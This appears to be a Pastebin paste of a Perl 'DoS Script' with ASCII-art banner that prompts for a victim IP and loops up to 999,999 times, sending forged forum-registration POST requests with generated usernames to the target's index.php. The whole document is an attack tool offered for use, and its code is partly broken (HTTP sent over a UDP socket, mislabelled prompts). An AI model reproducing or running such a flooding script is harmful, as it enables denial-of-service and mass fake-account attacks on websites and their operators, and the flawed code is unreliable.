iViiRuS

al qassam DoS Script **perl**

Dec 8th, 2013
213
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3.  
  4.  
  5. print q{
  6.  
  7.   |            
  8.   / \                                                                        
  9.  /   \                                                
  10. (_____)                                            
  11.  |   | +___________________________________+      
  12.  |   |     ____________________________    |              
  13.  |   | |  |                            |   |                      
  14.  |   | |  |                            |   |      
  15.  |   | |  |                            | O |    
  16.  |   | |  |                            | O |      
  17.  |   | |  |____________________________|   |      
  18.  |___|    _____________________________________                          
  19.      +--| \ [][][][][][][][][][][][][] [][][]  \
  20.            \  [][][][][][][][][][][][]  [][][]  \
  21.             \  __________________________________\
  22.               ____________________________________|
  23.                  
  24.      Al Qassam DoS Script coded by Sheikh
  25. };
  26. $rand=rand(10);
  27. print "
  28. Victims IP: ";
  29. $serv = <stdin>;
  30. chop ($serv);
  31. print "Connections: ";
  32. $path = <stdin>;
  33. chop ($path);
  34. for ($i=0; $i<999999; $i++)
  35. {
  36. $name="sedXPL_".$rand.$i;
  37. $data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sedbotbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1&allow_member_mail=1&day=11&month=11&year=1985&agree=1";
  38. $len = length $data;
  39. $get1 = IO::Socket::INET->new( Proto => "udp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";
  40. print $get1 "POST ".$path."index.php HTTP/1.0\n";
  41. print $get1 "Host: ".$serv."\n";
  42. print $get1 "Content-Type: application/x-www-form-urlencoded\n";
  43. print $get1 "Content-Length: ".$len."\n\n";
  44. print $get1 $data;
  45. syswrite STDOUT, "+";
  46. }
RAW Paste Data